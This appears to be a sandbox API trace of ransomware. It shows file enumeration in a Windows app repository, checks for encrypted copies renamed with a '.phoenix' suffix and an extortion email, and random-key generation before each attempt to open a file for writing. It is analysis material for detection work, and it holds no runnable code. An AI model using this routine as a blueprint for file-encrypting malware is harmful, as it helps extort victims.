	[0229.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.810] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8338) returned 1
	[0229.810] CloseHandle (hObject=0x2f0) returned 1
	[0229.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.810] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.810] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.811] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=25867) returned 1
	[0229.811] CloseHandle (hObject=0x2f0) returned 1
	[0229.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.811] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.811] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.811] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=8328) returned 1
	[0229.811] CloseHandle (hObject=0x2f0) returned 1
	[0229.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.812] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.812] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=846) returned 1
	[0229.812] CloseHandle (hObject=0x2f0) returned 1
	[0229.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.812] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.812] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=846) returned 1
	[0229.812] CloseHandle (hObject=0x2f0) returned 1
	[0229.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.813] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.813] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=29969) returned 1
	[0229.813] CloseHandle (hObject=0x2f0) returned 1
	[0229.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.813] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.813] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.814] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9901) returned 1
	[0229.814] CloseHandle (hObject=0x2f0) returned 1
	[0229.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.814] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.814] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=25984) returned 1
	[0229.814] CloseHandle (hObject=0x2f0) returned 1
	[0229.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.814] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BingWeather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bingweather_4.6.169.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.815] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.815] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.815] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3448) returned 1
	[0229.815] CloseHandle (hObject=0x2f0) returned 1
	[0229.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.815] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.BioEnrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.bioenrollment_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.815] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.815] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.815] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=922) returned 1
	[0229.815] CloseHandle (hObject=0x2f0) returned 1
	[0229.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.816] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.816] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=17158) returned 1
	[0229.816] CloseHandle (hObject=0x2f0) returned 1
	[0229.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.816] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.816] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.817] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=10093) returned 1
	[0229.817] CloseHandle (hObject=0x2f0) returned 1
	[0229.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.817] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.817] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.817] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=29291) returned 1
	[0229.817] CloseHandle (hObject=0x2f0) returned 1
	[0229.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.818] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.818] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
